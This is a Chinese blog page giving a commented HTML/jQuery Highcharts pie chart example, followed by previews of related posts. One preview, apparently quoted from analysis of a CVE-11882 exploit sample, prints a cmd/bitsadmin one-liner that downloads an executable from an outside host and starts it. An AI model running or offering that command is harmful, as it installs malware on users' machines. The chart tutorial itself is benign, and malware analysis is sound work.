文档章节

jquery highcharts组件--饼型图标实例

魏邪乎
 魏邪乎
发布于 2014/10/23 16:43
字数 939
阅读 122
收藏 2
 <html>
    <head>
        <title>highcharts报表示例</title>
        <meta http-equiv="Content-Type" content="text/html; charset=UTF-8"/>
        <script type="text/javascript" src="./jquery-1.11.1.min.js"></script>
        <script type="text/javascript">
            $(function () {
                var chart;
                $(document).ready(function() {
                    /**
                     * highcharts数据图表
                     *
                     * @param {object} chart 图表的相关参数配置
                     * @param {object} credits 图表版权信息参数配置
                     * @param {object} lang 图表语言参数配置
                     * @param {object} exporting 导出配置
                     * @param {object} title 标题配置
                     * @param {object} xAxis X轴配置
                     * @param {object} yAxis Y轴配置
                     * @param {object} plotOptions 各类型图表绘制配置
                     * @param {object} labels 数据图表标签配置
                     * @param {array} series 数据源配置
                     */
                    chart = new Highcharts.Chart({
                        /**
                         * 图表配置
                         *
                         * @param {string} renderTo 图表加载的位置
                         * @param {int} width 图表的宽度
                         * @param {int} hight 图表的高度
                         * @param {string} type 图表的默认类型
                         * @param {string} zoomType 图表的缩放选项,有:x, y, xy
                         */
                        chart: {
                            // 图表加载的位置
                            renderTo: 'container',
                            // 图表宽度
                            width: 600,
                            // 图表高度
                            hight: 500,
                            // 默认图表类型
                            type: 'pie',
                            // 缩放配置:x,y,xy
                            zoomType: ''
                        },

                        /**
                         * 版权信息配置,不用修改直接复制
                         *
                         * @param {boolean} enabled 是否显示版权信息
                         * @param {string} href 版权信息所链接到的地址
                         * @param {string} text 版权信息所显示的文字内容
                         */
                        credits:{
                            enabled: false,
                            href: "http://www.msnui.tk/Admin",
                            text: '微源网络科技'
                        },

                        /**
                         * 语言配置,不用修改直接复制
                         *
                         * @param {string} exportButtonTitle 导出按钮的标题文字
                         * @param {string} printButtonTitle 打印按钮的标题文字
                         */
                        lang:{
                            exportButtonTitle:'导出PDF',
                            printButtonTitle:'打印报表'
                        },

                        /**
                         * 导出配置,不用修改直接复制
                         *
                         * @param {boolean} enabled 是否允许导出
                         * @param {object} buttons 关于与导出和打印按钮相关的配置对象
                         * @param {string} filename 导出文件的文件名
                         * @param {string} type 默认导出文件的格式
                         */
                        exporting:{
                            // 是否允许导出
                            enabled:true,
                            // 按钮配置
                            buttons:{
                                // 导出按钮配置
                                exportButton:{
                                    menuItems: null,
                                    onclick: function() {
                                        this.exportChart();
                                    }
                                },
                                // 打印按钮配置
                                printButton:{
                                    enabled:false
                                }
                            },
                            // 文件名
                            filename: '报表',
                            // 导出文件默认类型
                            type:'application/pdf'
                        },

                        /**
                         * 图表的标题
                         *
                         * @param {string} text 图表的标题,如果不需要显示标题,直接设置为空字符串就行
                         */
                        title: {
                            text: '饼型图表实例'
                        },

                  

                        /**
                         * 绘图的各选项、参数配置
                         * @param {object} series 数列,可以配置各种不同类型图表的默认参数
                         * @param {object} bar 横向柱状图配置参数
                         * @param {object} column 纵向柱状图配置参数
                         * @param {object} line 线性图
                         * @param {object} spline 圆滑曲线图配置参数
                         * @param {object} pie 饼状图
                         */
                        plotOptions:{
                            /**
                             * 数列,对于所有的图表都可以适用的配置参数,属于共用性质。
                             */
                            series: {
                                // 鼠标样式
                                cursor: 'pointer',
                                events:{
                                    // 数据标注不可点击
                                    legendItemClick: true
                                },
                                // 当是柱状图时,柱状的宽度
                                pointWidth: 15
                            },

                      
                            /**
                             * 饼状图
                             */
                            pie:{
                                // 是否允许扇区点击
                                allowPointSelect: true,
                                // 点击后,滑开的距离
                                slicedOffset: 5,
                                // 饼图的中心坐标
                                center: [300, 150],
                                // 饼图的大小
                                size: 300,
                                // 数据标签
                                dataLabels: {
                                    // 是否允许标签(图形外面指向有字true没字false)
                                    enabled: true,
                                    // 标签与图像元素之间的间距
                                    distance: 10
                                },
                                // 数据点的点击事件
                                events:{
                                    click: function(event){
                                        //alert('The bar was clicked, and you can add any other functions.');
                                    }
                                },
                                // 是否忽略隐藏的项
                                ignoreHiddenPoint: true,
                                // 当具体的数据点被点击时的事件响应函数。如果不需要事件响应,可以删除。
                                point:{
                                    events:{
                                        click: function(){
                                            //alert('This point on the line was clicked. You can and any other functions.');
                                        }
                                    }
                                },
                                // 是否在图注中显示。(是否有下面的标签)
                                showInLegend: true,
                                // 调整图像顺序关系
                                zIndex: 0
                            }
                        },

                        /**
                         * 数据源配置,本身是一个对象数组
                         *
                         * @param {string} type 图表的类型
                         * @param {string} name 数据序列的名称
                         * @param {array} data 数据序列,是一个对象数组
                         */
                        series: [{
                                type: 'pie',
                                name: '水果总消耗量',
                                data: [{
                                        name: 'Jane',
                                        y: 13,
                                        color: '#4572A7' // Jane's color
                                    }, {
                                        name: 'John',
                                        y: 23,
                                        color: '#AA4643' // John's color
                                    }, {
                                        name: 'Joe',
                                        y: 19,
                                        color: '#89A54E' // Joe's color
                                    }]
                            }]
                    });
                });

            });
        </script>
    </head>
    <body>
        <script src="./highcharts.js"></script>
        <script src="./exporting.js"></script>

        <div id="container"></div>
    </body>
</html>

© 著作权归作者所有

共有 人打赏支持
魏邪乎
粉丝 6
博文 80
码字总数 21389
作品 0
保定
HTML5拓扑图编辑器项目 - Graph.Editor

拓扑图编辑器介绍 项目地址:https://github.com/samsha/graph.editor 在线演示:http://demo.qunee.com/editor/ Graph.Editor是一款基于HTML5技术的拓补图编辑器,采用jquery插件的形式,是...

nosand
2015/01/17
0
0
Highcharts AJAX JSON JQuery 实现动态数据交互显示图表 柱形图

个人小程序,可以微信扫一扫看看。谢谢支持 这是第一篇实例的步骤与代码。还有整个项目的结构图。 http://my.oschina.net/xshuai/blog/345117 原创的博文。转载注明出处。大家赶紧收藏吧。 ...

小帅帅丶
2014/12/05
0
9
Highcharts插件制作中文教程

Highcharts强大的扩展功能,是它深受广大用户喜爱的原因之一。通过使用highcharts api,很多使用者根据自己的需求制作了highcharts插件,实现了各种功能扩展。关于highcharts 中文教程资源已...

咲晚杍
2014/05/20
0
0
Highcharts图表.net版开源,支持webform 和 mvc3,完全开源

Highcharts是一个制作图表的纯Javascript类库,主要特性如下: 兼容性:兼容当今所有的浏览器,包括iPhone、IE和火狐等等; 对个人用户完全免费; 纯JS,无BS; 支持大部分的图表类型:直线图...

cheng5x
2015/08/07
0
0
[备忘]Web应用UI框架收集~

->DWZ 基于jQuery的RIA组件,一直在更新,而且它将一些优秀的组件(如jQuery.validation、xhEditor)整合进来了,并没有一味地造轮子,推荐! http://code.google.com/p/dwz ->jQuery UI 优点...

leeoo
2011/12/24
0
1

没有更多内容

加载失败,请刷新页面

加载更多

下一页

java并发api总结

1.java.util.concurrent包 1.1 Executors Executor:接口,仅有一个方法为execute(Runnable) ExecutorService:Executor的子接口,扩展了Executor的方法,如submit/shutdown等。 Executors:......

Funcy1122
7分钟前
0
0
cmd bat 下载并运行文件,来自cve-11882漏洞样本,eqnedit32.exe栈溢出

cmd.exe /c bitsadmin /transfer eH /priority foreground http://holdthatpaper33.com/abu_output774B940.exe %USERPROFILE%\cXUAQSZZXXCXzx.exe && start %USERPROFILE%\cXUAQSZZXXCXzx.ex......

simpower
20分钟前
0
0
Java 面向对象 之 对象数组

http://www.verejava.com/?id=16992784958543 /** 知识点: 对象数组 1. 对象数组的使用 2. 对象数组的foreach 增强for循环 3. 可变参数 题目:乘客...

全部原谅
21分钟前
0
0
超越时间和空间,带你到n维去!

我们处理三维问题十分自如,必要时对付四维问题也凑合。我们不费吹灰之力就能接受有实体和无限空间的三维世界。加上第四维时间后情况就有点复杂了。 但当我们开始研究包括再多或再少维数的世...

WeiXiaodong
32分钟前
0
0
通过ip获取真实地址

package util;import com.alibaba.fastjson.JSON;import com.alibaba.fastjson.JSONObject;import org.apache.commons.lang3.StringUtils;import org.apache.http.HttpResponse;......

lifes77
今天
3
0

没有更多内容

加载失败,请刷新页面

加载更多

下一页

返回顶部
顶部